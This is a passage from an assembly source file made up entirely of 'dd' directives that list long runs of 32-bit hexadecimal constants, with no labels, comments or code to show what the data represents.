55C98F03h, 0E82DBA72h dd 5001E68Ch, 0FD2E83Dh, 64887D0Bh, 398111C6h, 90DB6B03h dd 0D08EF2E2h, 3C5D9D8Bh, 0F0B654Ah, 0E006B845h, 54C44B3h dd 30B84848h, 58B2C8D7h, 0CF7900F6h, 51A245B4h, 1E00B132h dd 8756517h, 0B0241C0Fh, 97CC2A30h, 1EE53090h, 0CB654279h dd 0BD5BA000h, 4A678526h, 74550016h, 0AAAC3F98h, 0ACA42BF8h dd 3D00FA7Ch, 8CA4AFBFh, 0E40B52ECh, 0B1E90048h, 0DD88F5A1h dd 42F318E5h, 542A68A0h, 0E4D15F0Eh, 0FCC1E0D2h, 0E016AAC7h dd 5EDBB100h, 0BCFAE3E8h, 65E000C2h, 0CD911F62h, 0FF2E762Dh dd 0FCC1407Ch, 0F494DB58h, 7664FAh, 0DF8CE91Ah, 0AE5C1133h dd 8029CC00h, 968D97C3h, 8847607Ah, 9BEE17CAh, 0FA69F3Fh dd 8B66D3C0h, 88D010ECh, 577004D7h, 8158F22Dh, 70088134h dd 4C98FCB9h, 30D059E6h, 6C2D0260h, 0C6286FCCh, 0A12E060Ch dd 41F8BAEBh, 0E4B19709h, 4D08A0B6h, 39EC0FD6h, 1E806A45h dd 0FB48BCF6h, 2F14CE5Bh, 4F064E8h, 88ED50F7h, 6E225C80h dd 0C4D4530Ah, 0BD766200h, 2CC74EC0h, 0BC94BB03h, 80A59D96h dd 25B493Bh, 0EB5C6AE8h, 46C25902h, 337158A0h, 0CB009E67h dd 0BCB7DBACh, 0ECAE6612h, 0A51498FAh, 0FB9E10h, 0B1E60150h dd 20007699h, 0D414267Ah, 70981574h, 90C30AEAh, 8734FC01h dd 90057F28h, 7826E039h, 6310D316h, 0F3F5A820h, 9A9504B3h dd 0C890F224h, 0C4001300h, 0E926FE02h, 2E91632Ah, 4438725Bh dd 0A8C8886Dh, 0D500CE73h, 7B842623h, 0E2D6162Dh, 6DDE080Bh dd 866058D2h, 0FF12C4Ch, 32E7759Eh, 13BCB240h, 0B1019DEAh dd 0CEF32B90h, 4070B3E8h, 0C4D10005h, 0A1946349h, 1E14C50Fh dd 185CF7C3h, 2859B473h, 32B200F6h, 4170BAD8h, 9251E0h dd 3C0EB070h, 41A92E38h, 315B32Bh, 983D6CC0h, 0E3610740h dd 201D4DB0h, 62A56687h, 14D8C248h, 0F5CE50Dh, 0C077F7CAh dd 0C3B9E45Dh, 3137575h, 0A41A862Eh, 292FE5FAh, 936080AEh dd 715DA3D4h, 36A600A8h, 0F1323A23h, 0F4073B6Fh, 0B8C4677Ch dd 3090A2C4h, 2578617h, 8F68B075h, 9C8C8BDDh, 2A4BD4A0h dd 37092440h, 160AA5C3h, 557F7C6h, 882C53A8h, 0C8000E64h dd 34808D16h, 4E451Ah, 0B1114FA4h, 6E2517A0h, 0E0BA292Ah dd 1416EE78h, 0EC300549h dd 0E7368B9h, 175C9977h, 0E68D78F8h, 2528BC13h, 0C5373107h dd 6EC38B31h, 5B000022h, 0F9663AD1h, 0EFA0A390h, 0B500FB0Fh dd 3B58ED6Bh, 17D1151Ah, 6EBA6ABh, 0B1472C00h, 0C20AEC00h dd 0C5B503EEh, 11E3CDAh, 0F95CE201h, 407BB7B3h, 8BD90A94h dd 68E8B62Eh, 46345B42h, 0A84500F0h, 6FC61685h, 19C34906h dd 97B72547h, 529114Ch, 62DBBD39h, 0A645C1A8h, 0F4CC077h dd 1798C448h, 4800AFF9h, 0A4D9795Bh, 30264CEEh, 6BBD4700h dd 68E4F517h, 0AD0FC501h, 0F36DDBE8h, 29334400h, 0EA0E49FAh dd 20B1A1FAh, 0E646209Eh, 136E1704h, 0B440088Eh, 0FDC7839Ch dd 6C67C49Bh, 80E92D0h, 757E001Fh, 4CAB5523h, 78241488h dd 6D0088CFh, 133FD08Ch, 0AC7C0C0Bh, 5518B8C3h, 0B0BAF6F4h dd 0CBDEF100h, 9366BFCCh, 30ED58CFh, 6B251Fh, 55289C06h dd 0D20F9ABDh, 6BC9385Eh, 52EC0494h, 45285B42h, 0F16C94A3h dd 51A1900h, 9A9B074Dh, 8CA30777h, 20728176h, 0AE254BF2h dd 15C10F0Ah, 0D70124E4h, 0D2E7F82Ch, 1420CBE9h, 4B6E220Eh dd 1BC00250h, 7F309C1Dh, 287D0F40h, 261B5E4h, 576974A0h dd 0CC510588h, 84A75600h, 4B620743h, 2FBB80BCh, 0BF0E7E42h dd 0EF1B6A50h, 46DD40FCh, 12DC40Dh, 69F3A58Ah, 81F26C88h dd 0CB838279h, 0E3DC3406h, 482D0089h, 5A2409F1h, 0A80F3F0Fh dd 0C79C9460h, 21901F71h, 914C066Eh, 214E3E24h, 2CE21330h dd 0E0137628h, 3420E54Ch, 70C153Eh, 0D4FC0407h, 6D3A90FEh dd 8E2EA567h, 0CB10A42Bh, 0E83DC780h, 50032FCh, 267540A5h dd 4D70F511h, 0D80224FAh, 0C6EDE65h, 3CD7F261h, 6AA1805Ch dd 2D42C3FEh, 0EFFC6747h, 744DB800h, 5A5D4ACh, 394CC7EFh dd 2894C106h, 69EE1049h, 40E74B29h, 0AC37C340h, 9C0038A2h dd 55563271h, 36F298h, 2944D8Eh, 5D90FF8h, 0F604E300h dd 8CEB73C2h, 53E229B6h, 50010B88h, 5B35E400h, 56024CE3h dd 0FDEAEDF1h, 33FC913Bh, 0D87206F9h, 61C47C00h, 62A9D167h dd 1915E030h, 68072Dh, 0FF7D856Fh, 1EE7F99Ch, 92441D1Eh dd 0ECD78B81h, 9051A8E8h, 14FCED10h, 0B650796h, 83A4FB6Bh dd 210184E5h, 0F7BA7367h, 97F893E3h, 6ED309FCh, 28E8E04Ah dd 1300BDD5h, 3E8425D9h, 7825BBFh, 0B30A5749h, 28F4408Bh dd 3C988D35h, 0B9ACF022h, 0E3803B3Ch, 0C16B1F02h, 0C3FE8D4Fh dd 0A2668903h, 0F8398AE7h, 920A5B3Bh, 0A870FD84h, 2A89256Bh dd 29599800h, 0AC0116E5h, 5C839BEBh, 0ABE570C0h, 1C76D050h dd 0F4C5FCDCh, 299C010Fh, 2BEFE893h, 0BCF5E043h, 0AC5F2A4Eh dd 0BE018F80h, 60DAB0h, 9CB1D779h, 3265029Bh, 5E8004B9h dd 4D1E3597h, 9DD9020Dh, 0CD47CE59h, 23BD451h, 8EE9F52Fh dd 0C2DC8001h, 0ECC4BA5Eh, 30A1E67Dh, 44A1361Eh, 0FD25EBC3h dd 2C2BCEh, 7715EC5Ch, 5B71C45Ah, 7AC4B407h, 2D49D098h dd 16548048h, 191010Dh, 0F824CF53h, 2094020Bh, 690C5E2Ch dd 314DE704h, 0F24127D7h, 5367A8A7h, 0D2A365C9h, 97F0E599h dd 3AE8A69h, 10E3725Fh, 89936390h, 7AC7DD00h, 84136F2Eh dd 0A8D009D7h, 0A0682C74h, 6A006622h, 0FAB488Bh, 103F56h dd 71ACC04h, 86803305h, 0ACC7D62Eh, 8CE8B980h, 262558h dd 7D1D3760h, 52FB64DEh, 0D8F58305h, 48001E11h, 0BC5DF6CAh dd 714F00D4h, 0CDDF15Eh, 0BF00B761h, 0C3DBFE45h, 16C466C1h dd 687328h, 0EB2F0338h, 0ED015912h, 0A0F625ABh, 4030F871h dd 3C57416h, 935EBC2Ah, 72B1D62Ch, 7462E0h, 2F064B85h dd 0F72026h, 0B66845AEh, 36FAC4E9h, 0EA0511F8h, 0A917F27Dh dd 18FB2480h, 0CE04C22h, 0DD155D83h, 39C54CB0h, 0E3D4500h dd 890155A4h, 24BE04FCh, 80593AA1h, 0C6AFF868h, 63C4AD62h dd 0E4044820h, 585C0E04h, 9404BCBDh, 0B767C0FBh, 0C006284h dd 0E9C19CDAh, 57C34DDh, 8BF55B8Dh, 0A2041C4h, 4080D223h dd 6EC17A8Eh, 7393BE01h, 4FFB24C4h, 0FC22FBF3h, 0E85D74A0h dd 521C4011h, 17EDB401h, 41D86E51h, 0F31420h, 38E19BF7h dd 614A07BAh, 43FB926h, 12B9C60h, 298E00FAh, 0A43111E3h dd 0D124166Dh, 0F404E03Ch, 3CCCD2F5h, 0AFE6122Ch, 0FB808894h dd 11F1AA03h, 0F8F2885Bh, 1F70F68Eh, 0A67833B0h, 1B5211FCh dd 0A8491FE5h, 703AAE3h, 0E64066BAh, 738A201Ah, 0DA06EFCEh dd 0E9777B62h, 7D420F39h, 9520F948h, 0F45E3DD4h, 706DBA2Ch dd 15995541h, 63D8BFC9h, 0F87F2892h, 0F01400A8h, 2945BBB7h dd 1A09ED60h, 0A5BA50Ah, 0C317EED4h, 63B29804h, 0AC80CC42h dd 0B7C55498h, 8D508E03h, 0C0778C4Dh, 0A0EA57E1h, 58073DEDh dd 2A0664E3h, 91F86D44h, 431C7E00h, 0FF758924h, 56870B7Ch dd 48446212h, 923A1FFEh, 21E0053h, 0DCB614F4h, 5EC71458h dd 0C2127C63h, 0A2B0006Ch, 767420D0h, 30A9455Ch, 7BE021EAh dd 0C434002Ah, 5147397Eh, 17161F5Fh, 0D001C00Bh, 20BA5671h dd 9D809028h, 2DE98A8h, 6CE5E401h, 0E9316BDCh, 5CA69AD8h dd 71004817h, 4C13656Ah, 0B14CB9C4h, 0C26F01ECh, 8A196981h dd 5CAACECh, 0FA797D74h, 24944086h, 7FC59DBDh, 0DED5EB00h dd 73F54F4Ah, 0B621C082h, 1E2649C4h, 0CA7CBB1Dh, 0C898C813h dd 98C8966Eh, 0D9CB425Ah, 0EEEF4600h, 77CF6695h, 4F2CBCC4h dd 0DB00E9EEh, 662BC62Ch, 69ED8800h, 0BE350341h, 9CE44CB2h dd 0C828D480h, 5AEE6F34h, 7E93675Ch, 20639C25h, 0B570A360h dd 1E5E215h, 0F5AF93DEh, 0F48D3907h, 0AB00E983h, 14B6DFCAh dd 0A2CDF256h, 45BA6054h, 97F9E7AAh, 6AC15889h, 61050418h dd 7E37081Dh, 0E9496880h, 26C9E789h, 7DC42BDh, 4097B552h dd 0F90A6FB4h, 0E4659B90h, 8489E0E1h, 0DFA1C0h, 8B482396h dd 0B26B0358h, 0E43863Fh, 813B4C1Fh, 76BDFEE9h, 98F30830h dd 0FE41312h, 9B48C81Eh, 466AD800h, 0B2084A8Eh, 16277E4Ch dd 22C29ACh, 0FF72D53Bh, 0FA655CE1h, 90C1F522h, 8C06B8h dd 38E3E9AFh, 0ACB97535h, 0C84AFB32h, 0FD58C053h, 6FE8E56Ah dd 858A09AEh, 4C98B9DFh, 0A40046B7h, 55A24BCBh, 8158Ch dd 0E13AE878h, 507F86DCh, 13DAE600h, 6CAB59CAh, 0B911E69Ah dd 8E410F68h, 0A1EEF461h, 6036C463h, 67DC805h, 8CB42C89h dd 99D50035h, 65F80343h, 0A40BF4AAh, 7898CB9h, 140A67Ch dd 0FB5FF60h, 62BF283Ch, 0DF412280h, 0D0916483h, 14C0689Dh dd 0BD6DEA33h, 0ECD10094h, 34D23961h, 7C91C226h, 0B66987BCh dd 49D0D4A0h, 2483C49Ah, 0F3472BAh, 0E8602754h, 0ED8F2C69h dd 0BABE348h, 0E9C7EC90h, 2B612834h, 51E278D9h, 7C5E00FCh dd 1C735518h, 0C03BE003h, 0F8B77206h, 0B254712h, 0D1BFA970h dd 5FFAB418h, 5A7C2C1Fh, 0ED863201h, 0C1EDA896h, 69F5260h dd 70ECAA1Eh, 0E02431ACh, 0EF809043h, 939EC32Fh, 7857385Ah dd 0B1DBC49Dh, 0F0886AB8h, 6D265149h, 0D4009C56h, 0D8F3E3EEh dd 0D52500BBh, 0B9BA197Dh, 0E84AB68Eh, 15EBF020h, 88534ACBh dd 2C308D3Ch, 341C81F0h, 0E41F3E5Eh, 2DE74F00h, 0FED8EB1Dh dd 7E6FD627h, 0F63B0074h, 88A16D89h, 0BFDA9A05h, 4489C5ECh dd 0E42AB000h, 56E8F4h, 930E149Dh, 26EE9508h, 0C0C16575h dd 58391618h, 0CC8CF4FFh, 0E69F0001h, 0B8A5349h, 2E1A0E39h dd 41E07F8Fh, 9C10F7C0h, 11006DBFh, 3962EB79h, 0BB50287h dd 0DBC06AF2h, 0C4878BF5h, 0BB2C0068h, 73B3125Ah, 4E01EC04h dd 9108BF19h, 0C77A519Ah dd 6D90D226h, 9507E064h, 1AF59458h, 0F0DBECA0h, 1420FFC7h dd 0CAA006B7h, 10887C38h, 62424004h, 1C8CDAF5h, 6732056Dh dd 80AF13EFh, 57BD1568h, 60805098h, 0B8A8F32Bh, 0DD074B0Fh dd 0FCE15E8Eh, 0DC8D7233h, 5BC2BCC0h, 8CA2009Ch, 53700BC4h dd 2D03C5F0h, 0E8F5668Fh, 0E0712D18h, 92018A1h, 464BF01Dh dd 49001973h, 0EABCA6EFh, 668672h, 0DCA6A5Bh, 0FD896967h dd 0C0F4C44Ch, 0DE65D58Bh, 0B3AB0051h, 582B8892h, 0C4B8F1F7h dd 7D0044FAh, 0B161AE7Eh, 2523E479h, 0B8B01513h, 0E900AEFDh dd 0A01A8233h, 964ECA1Eh, 0FC0A40B4h, 297B6FC5h, 0AE805496h dd 3449948Bh, 4A9EEAEBh, 0B49C98F8h, 2A02EC02h, 40CDDD5Eh dd 1946C99Dh, 79446947h, 8432E5h, 0BAD96E43h, 14B0C4C7h dd 703B1F5Dh, 0C898C99Eh, 4CFCA8E0h, 8A587B39h, 0A028295Bh dd 691134A4h, 68BA3100h, 0FB37B19h, 0E905E0EEh, 25D26FBDh dd 8CD0C8h, 33F44407h, 7889809Bh, 73EC907Ah, 1173C375h dd 2C603A00h, 0FD80724Dh, 0E5512F0Fh, 0B27670A0h, 4B00FB3Eh dd 0FD878881h, 0EB11B417h, 39D82180h, 8EBA2601h, 0E1BE2200h dd 1D2F2515h, 34F000Fh, 0DB80D587h, 98F3C63Dh, 44C9CC40h dd 0E3902FC0h, 14EFBCA0h, 6A0039D6h, 0CF4F8795h, 0C40D4Ch dd 15B1303Ch, 1F2E7811h, 8DE34717h, 1088E095h, 961801EBh dd 7517BC39h, 9FE7F81Ch, 7FAE9116h, 0B68C4C02h, 0C3064CAh dd 0F46C8872h, 67006289h, 5139CB04h, 68F307h, 0DEE017AEh dd 0C29E7ABCh, 80E8115Ch, 45B4B255h, 515400A9h, 0C383E0B6h dd 8F7B213Bh, 64B59F09h, 0F44C0033h, 99B48C41h, 86F7801Ch dd 18A94A81h, 4D53D402h, 0E80CB0B1h, 0B62C5590h, 0FA9A8754h dd 4C0CE81h, 0D55F7DDCh, 8CC0024Bh, 190C55Eh, 9CB2FC2Bh dd 806866B6h, 0B0E4FB18h, 782C6716h, 2891548Eh, 0C3EA03ACh dd 53303412h, 2B118A8h, 11416C9Ch, 7AC83192h, 4ECC08D4h dd 0B930F3FEh, 3B1E64h, 5B68E369h, 0F27FBB3Ch, 7DE4C452h dd 3B8D4000h, 65DA9253h, 0A22B01B5h, 887D8BCFh, 87263h dd 0BF085E76h, 7AF21650h, 9008B0ABh, 0D7631714h, 0C088D06Ch dd 2608E989h, 80ABE556h, 39A592E2h, 0ACB07CF5h, 8028E34Ch dd 0C284914Bh, 8F8B0040h, 0E0B5A378h, 803EE5A9h, 0A763277Ah dd 107067A4h, 923ED21h, 0E54EEB1Ch, 7B015852h, 0E19AE8D6h dd 32D40583h, 0C6EF3E85h, 1880D5ADh, 37363F9h, 24F6892Ch dd 0FAFF1660h, 47851284h, 72F82076h, 0C4BE02D8h, 98819CC0h dd 0E3460097h, 0C234F34Ch, 50012D58h, 0CBE2D23Ch, 41805A2Ah dd 84B70BCCh, 6A1416DBh, 24E5F1h, 0F9A5623Dh, 0E0E83ECBh dd 9A2C04EFh, 0C25CC258h, 2820B7B8h, 24B21888h, 16302C05h dd 0DECCC29h, 0B6171905h, 4088E489h, 1BF7007Ch, 14FFA977h dd 0ED00D7BAh, 9D358D5Eh, 55B3C30h, 0B94FA2CAh, 1260A675h dd 0B004C09Bh, 0C34052E8h, 1EBA05B3h, 0B5C49701h, 1CB94A0Eh dd 8E980EBh, 4131393h, 0D6B80B43h, 87A8341Bh, 210531E2h dd 11BA89A3h, 0F400CF4h, 0F642D6E0h, 46B9DD00h, 4700235Eh dd 495F20E4h, 0B8264B70h, 0AEEB00E8h, 0C36F6DDFh, 6530FDD7h dd 0A2129962h, 8C5B4A8Eh, 6898F278h, 64DA8925h, 0E8C2FCFCh dd 12E602B6h, 0EBB52A65h, 2F005466h, 0AA842670h, 0A11CBBh dd 99B09837h, 0FED9C5Ah, 29E31525h, 9785804h, 3FFDEA95h dd 6C88FCE4h, 0B500460Eh, 5A30A62Ch, 9C8F93h, 0D28B8E4Fh dd 0A2A30D65h, 12751E16h, 3B9B6500h, 518E464h, 0BC25E806h dd 97B00688h, 0CD488A6Bh, 9C752E44h, 4CA255C4h, 8E042A00h dd 6978308h, 517D6D1Eh, 7E8ABA80h, 0FB98C86h, 0FC36A566h dd 2E2CC032h, 93769022h, 8BF7130h, 2C1C0326h, 1F5FC28h dd 30BE95C2h, 9D32D421h, 26B7C00h, 76D139D2h, 609EE283h dd 7F10398Dh, 6A07A737h, 50497CA2h, 60CCB937h, 156107A9h dd 0A30701AEh, 191867F1h, 0EE814971h, 0A2890060h, 9A423BEDh dd 80350F4h, 0BA92A31Fh, 1400AD71h, 3BD49D06h, 0CDF7834h dd 0CE7CEF30h, 2D005B51h, 80F3E25Fh, 6560684h, 0B9A826Bh dd 78034118h, 703B1B25h, 0CEB900C4h, 0A249B508h, 0C0004E05h dd 37FC2E38h, 4D88D0h, 157F331Ch, 7BFFC8D4h, 0FDF0C34Eh dd 1951CF36h, 4803AE60h, 98003069h, 0C947D317h, 9ECA0Fh dd 144C5540h, 6B1B388Ch, 786E940Ch, 1F9078E4h, 73894479h dd 0D7E811B6h, 0EC009B40h, 648A7416h, 1E67750h, 788BF308h dd 0A1B567B9h, 13A688E9h, 18DE0600h, 182EE730h, 61C6787Ah dd 3C00D257h, 0D0E2DD4Dh, 0A08542h, 224AF3Eh, 7FF3EB60h dd 1DBA4518h, 0C8A09331h, 0B82FA0h, 9F027111h, 0FE8B9AEh dd 0F6B2CE42h, 0A38FCE0h, 7C08EBC7h, 3A8A1BD0h, 343ED322h dd 6C13807Eh, 0A7EE3643h, 0CACF0079h, 6A372CF0h, 0D2E04B83h dd 36D94F05h, 0A8236D5Ch, 2BE4D078h, 41B90026h, 9DBC3ACEh dd 6801B59Eh, 4B2387A5h, 6983BA7Ch, 0CD3485E6h, 490F3DC8h dd 0F126D3Dh, 1306A7D0h, 0A5A5A0h, 3E8739DAh, 0EF732145h dd 9F836E12h, 0CAA55C30h, 11BE6071h, 0A2D4469Dh, 40E6D103h dd 0D0FC7B6Dh, 3EECB9CBh, 0FB82F71Eh, 9A770A4Fh, 809894A4h dd 6CF09D0Ah, 80894939h, 8CEB0C81h, 5CC655ABh, 5806D79Eh dd 0E9A7660Bh, 0FADF2604h, 0BC88CA83h, 51E76077h, 6BE99FACh dd 0FF717200h, 0D439A28h, 2B140159h, 0BA50DD5Eh, 181C407Eh dd 0C2E2AB36h, 0F5C958h, 66BC3F5Ah, 92132BBh, 0A423BD78h dd 0D46A7C00h, 6913C7A6h, 1E00DE41h, 0C3BB2BFBh, 356007D9h dd 8C7EBF81h, 28009759h, 0B1D0B783h, 0ECB4506h, 96E52302h dd 929B0C7Fh, 0F252B929h, 7C200FCh, 0F1D4EE35h, 0F53703C6h dd 6451EF59h, 0A8CB2100h, 0C46A9438h, 0F95800F1h, 610DB3EDh dd 34000AE3h, 14BAAC93h, 0CE8CDDh, 16DF39F4h, 778E5166h dd 60907254h, 0F9B8403h, 22690CA1h, 21FCE60h, 0B400179Dh dd 0E9AD6395h, 13B91853h, 1E6C216Ah, 3056C0A9h, 0FE03B0B9h dd 0D118DC43h, 2C77C8A5h, 0ECC5C48h, 93B58A00h, 0B7033B73h dd 4336F001h, 0E2B90153h, 1EFC9EE8h, 823CF324h, 77B0449Ch dd 0E8779C44h, 0A3897607h, 0C901E1FFh, 0EDE8655Eh, 1381FC7Bh dd 0CD83C54h, 1D99D193h, 0B1175E00h, 61EF0DEDh, 0E0400BBh dd 10F207CEh, 8400E77Eh, 58EEB735h, 12F1ABAFh, 7A3E128h dd 0C1F469A4h, 0D2C0F83Dh, 91CA9C80h, 250126C1h, 0D395A85Ch dd 0F3F40E82h, 6A530183h, 2A6EE24h, 69F03F63h, 93860614h dd 91BD1EB9h, 0A08DD41Eh, 0F2598903h, 0DBC4A769h, 0C0DEFCC1h dd 459E66E0h, 0EAB23094h, 15C7F000h, 0CF7FD2A5h, 0E11B0E9Bh dd 0B8952B0Ah, 0E751D700h, 0BD629269h, 6504E5F0h, 77766F31h dd 17F158C9h, 399FEAF0h, 0B78078F1h, 0B6B0BA24h, 0C8016460h dd 0EA8D2E1Bh, 78C42914h, 0BF39C09Ch, 15C3F030h, 6FC6110Eh dd 643032D4h, 72DE78DCh, 1FD7B36h, 0A3AD9545h, 225138BCh dd 0E9BF505Ch, 0FB90917Ch, 3E9EAA00h, 28D6C944h, 69806F11h dd 0E209930Eh, 0F1605C8Eh, 30322B69h, 0A099D3B0h, 1C81DB9Dh dd 8CAC5A81h, 77DCA0DFh, 8600010h, 0C918C0A7h, 0D124CEEEh dd 69027474h, 0A024399Ah, 0CCCBF094h, 0A8F20334h, 0B97F277Ah dd 79695907h, 0F8A0CD39h, 0E5572Eh, 453F24EDh, 36F22068h dd 9567440Ah, 6940CC93h, 481A7F8Dh, 9F261424h, 10D239BCh dd 5ECF4202h, 84A0CC7Ch dd 2468AA32h, 1AD30F03h, 0C0E395C8h, 2228F05Fh, 7C309410h dd 0C4F231CFh, 9A8E00E7h, 0BCF4BB33h, 0B663171Bh, 0C2841E29h dd 6608800Fh, 0C098716Dh, 0A358A481h, 8137C52h, 803097FCh dd 762C3732h, 63EF002Dh, 0F5E9B347h, 98917D5Fh, 4DDA8500h dd 11920BAh, 9C49998Ch, 20AA215Dh, 5218E044h, 8869B67Fh dd 1E4FF8FBh, 0DC7462h, 674D0753h, 320F7F0Fh, 3A23819h dd 26E3778Ah, 7A0F781h, 0A003D9FEh, 587468CBh, 13457305h dd 8031BF99h, 28600AE4h, 0B6D2015Eh, 2FB276F3h, 0B97C30A6h dd 7AB43622h, 60D107A1h, 80CD799Ch, 0CA63D747h, 97A93907h dd 5150DD30h, 0B18D6617h, 0B3A3864Ch, 0D3444864h, 0C91B01C1h dd 0EF8BF043h, 0F48160E7h, 3C3C697Fh, 1248770Ch, 0EF108124h dd 1C34F9B8h, 9002773Ch, 20BD448Ch, 50C83D00h, 0FACB4721h dd 1DC000D6h, 0B0497808h, 0D300C15Eh, 0BB50BE8Ch, 279FF8h dd 6091143Ch, 5E1F15FCh, 9D71A51Fh, 49DFA300h, 0E2B2FDA7h dd 834D0350h, 0F41ACCF0h, 79663800h, 0C8918E10h, 90010076h dd 0D57BFD77h, 58C4A6ADh, 4C8172F4h, 29C0752Ah, 0A866005Ah dd 0F9A34B44h, 7330C3CCh, 0CD9F2825h, 1AA718D1h, 0AB231126h dd 56C63211h, 0F997E200h, 7B13DBD4h, 2B980600h, 4D2EAF5Dh dd 0FBE456h, 35546A60h, 941F0297h, 3C3B5138h, 0B7D3802Bh dd 216AFE3Eh, 7848788Eh, 2E42392Fh, 8F66EE00h, 0F3A43F31h dd 0D8C57330h, 30BDAB64h, 0ECC991ACh, 8258A5DAh, 0E44300FCh dd 0A7581B0Dh, 0CC1906A8h, 0A957C9B5h, 7BB19201h, 0D90B597Eh dd 0E1F8E4h, 1756B930h, 0D0A68896h, 7C92DA3Ch, 0F41FFF26h dd 1C0D2200h, 2E4B655Fh, 18F1D162h, 802E5129h, 0F6178228h dd 55C71418h, 762419h, 1A22EB7Eh, 4D32CD37h, 6423DA01h dd 728C6D92h, 1F2EE8h, 0BE9AB105h, 771DA33Ah, 48C8BD73h dd 0C67F8353h, 7D80B00Fh, 4A0FD837h, 4A91B756h, 6980F448h dd 58A13082h, 39B03DB8h, 0FCE67F80h, 86D783C9h, 60797D1Fh dd 0E11DB580h, 90C8A8B4h, 85FE101Ch, 4BD20520h, 0FD1F455Eh dd 511D4101h, 619C2F10h, 9CE0762h, 0E035C7BBh, 8D7C9CC5h dd 0C15B3800h, 5026FCA6h, 3019ECACh, 5DB94DC7h, 0A00137D2h dd 1720AD34h, 2020F2DCh, 78018B24h, 0C689B969h, 0BBC08ADEh dd 0FC700C7Eh, 0E6A03595h, 0FA6101Dh, 0CE2E89F0h, 62EF1CBDh dd 0F000FC88h, 0AFC69812h, 0CC05DDBFh, 371FE59Dh, 0DEC4D080h dd 29C3245Ch, 0AC5B6058h, 98027F0h, 0D9660021h, 0C5F51ADBh dd 950148D3h, 2B3080A7h, 1822C7FCh, 0F3BD2Eh, 0BC9A8D75h dd 0DD00D9F1h, 0CF5497BEh, 0E6A71B43h, 87E30065h, 37EFD263h dd 0E00EE134h, 0C28BB489h, 480FD436h, 45E91E4h, 580882FEh dd 80648506h, 1F16707Eh, 3456F09h, 0C7DC20B8h, 0CC31462h dd 0A7FE99F2h, 8D006041h, 63588A70h, 7DFC50h, 3EAF2D98h dd 0A6D317D9h, 640829C0h, 0A5F765h, 0D7729AE6h, 4925517Dh dd 419B6F04h, 8DC09F08h, 0E3352DCh, 0E1851438h, 86374E80h dd 0B53B3D64h, 0EAC31C5Ch, 84004C24h, 0A2DBBBE4h, 27DE40CDh dd 0AD263515h, 1E493EA8h, 378733A1h, 0A361BB65h, 68E1195Ch dd 145B4020h, 0ECEA3645h, 1338F500h, 0F3AC8E80h, 0CE4D41C0h dd 4AB230h, 87B6849Ah, 6A0C8CC0h, 1002A4Ch, 92A4CCB0h dd 14ECCE5Eh, 0D9A600B7h, 1AA3C4A0h, 0CD0C4819h, 519A6BA4h dd 58E100FDh, 97530F0h, 0C4098403h, 73892B1h, 0F6F0E33Ch dd 26B47483h, 307D87h, 0BE14A376h, 0E1C34A0Fh, 882540C1h dd 3D5E0761h, 910C87ECh, 0C5213BA7h, 86989E0Dh, 840CCA48h dd 21A200D9h, 0BFEA7A44h, 0A8555D50h, 9A404CCCh, 219B9D03h dd 0D8661563h, 2E7D23Eh, 7ECF7E1h, 8C40BE18h, 65EC81CDh dd 0C4037B00h, 0EBF1950h, 8281C04Ch, 6E94A368h, 14FAA000h dd 4759273h, 8F58B5C1h, 0C99DCA12h, 7E05C820h, 5A40006Ah dd 48B07F45h, 0F213A804h, 4401ADFEh, 0B7DA8A0Eh, 0CBA4D2E0h dd 6D8174B1h, 0EC1F9E8Dh, 0EF004249h, 0F0AB574Fh, 535032h dd 2E2064C1h, 68BC3835h, 0FCCF6B00h, 0C72F771Ah, 641F261Dh dd 9827009Dh, 0C5CE9C7Dh, 0F05C11B8h, 0A2DE06CCh, 77D130AFh dd 225C0596h, 5D223FAh, 0C8CAD4h, 52786660h, 0A21ED836h dd 7C58AD94h, 58EB98B8h, 2960A9EFh, 0EAC1B302h, 0F4C394Ch dd 0A0A80554h, 3AC21E0Fh, 64890AB7h, 7B09F5Fh, 36E501D3h dd 1900F1A5h, 8FD09D05h, 0E467990h, 1715AC24h, 0C14480C2h dd 0AE09F0A1h, 0BEE450B4h, 5000B7DDh, 0FF1219B6h, 3436BDh dd 658B5F8Fh, 800F4186h, 0ACBFE1C0h, 495DB9h, 0F18B7DA9h dd 427F2D30h, 0AD3B9300h, 87A0A228h, 3DC975B4h, 8E30F578h dd 53B5FD69h, 714AB01h, 9996C6C5h, 5091BC8h, 649DA8F6h dd 8B00988h, 9E43CC02h, 9A1E027h, 60D6EDF7h, 131ABB2Ch dd 20C8EAACh, 0B0274E70h, 7CE0043Ah, 1A009170h, 47BA3455h dd 7BBCF31Dh, 0B828A048h, 0D133600Eh, 0A44C542Fh, 0F35E1404h dd 0C08C94DCh, 0D8621393h, 0A9A0AFEh, 0A1F76098h, 8B009224h dd 73D79F43h, 75D1FBh, 0D4DD333Fh, 0E40A6A2h, 4CBB2A1Fh dd 0EB04B8A8h, 0D381D9FDh, 694C88h, 93AC2D09h, 0A11CA57Ah dd 0D003FF00h, 0B0F8123Fh, 43911077h, 0C13603E5h, 172FC8DCh dd 5C6F1h, 9201E211h, 709A16Eh, 900F3014h, 24236Ch, 7B5C7F54h dd 5795B877h, 0B7766209h, 0A03418A7h, 79EC1C12h, 0BCBF802Bh dd 537ECC2Eh, 0AF294700h, 0EAB87DD9h, 0C5340038h, 9CBB3F79h dd 94C044Dh, 97AA8030h, 0E2AFDA75h, 893C007Ch, 0AE14D9D7h dd 5019E502h, 0C3F112B4h, 79812ACDh, 412B173Eh, 6BAC3081h dd 68F2460Ah, 0C881B0A8h, 7E654991h, 788548F1h, 6777DACh dd 51F9D3C4h, 8521120Bh, 0A8490441h, 610718A3h, 0C302A1CBh dd 191858A4h, 0D839ABD4h, 0D0300011h, 6A102B9Bh, 4507C8D6h dd 0F5E8972Ch, 0A8EB2131h, 88A18830h, 630189C1h, 0CA7204Bh dd 8C61DC16h, 61F0D9C5h, 0E287876h, 50D4FD65h, 90806987h dd 0A6154F83h, 0D69059F6h, 0C0F4345Ch, 2FE0A446h, 0E3FC0026h dd 0A4BC5F2h, 771F6D7Dh, 1D07DBDEh, 74A19FC1h, 0ABEC3779h dd 8060CE4h, 0B3D14B0Fh, 36856200h, 6A2E5C49h, 5A2F004Eh dd 0BA1FD4DFh, 0B133379Fh, 987D719Ch, 246B0Ch, 0D11F1130h dd 0E3A2FDE2h, 3AB05301h, 0FBE6720Bh, 8E5DFCh, 0C41F13B8h dd 4E87C1E4h, 6D776805h, 5082146Ch, 698860A1h, 0E0FC02A5h dd 0C699B186h, 0E8007064h, 7D42E3D0h, 0A61EA5Fh, 0BC928066h dd 641798h, 983AE8CCh, 0FA419950h, 0C0EA0C42h, 315B8FB0h dd 11166616h, 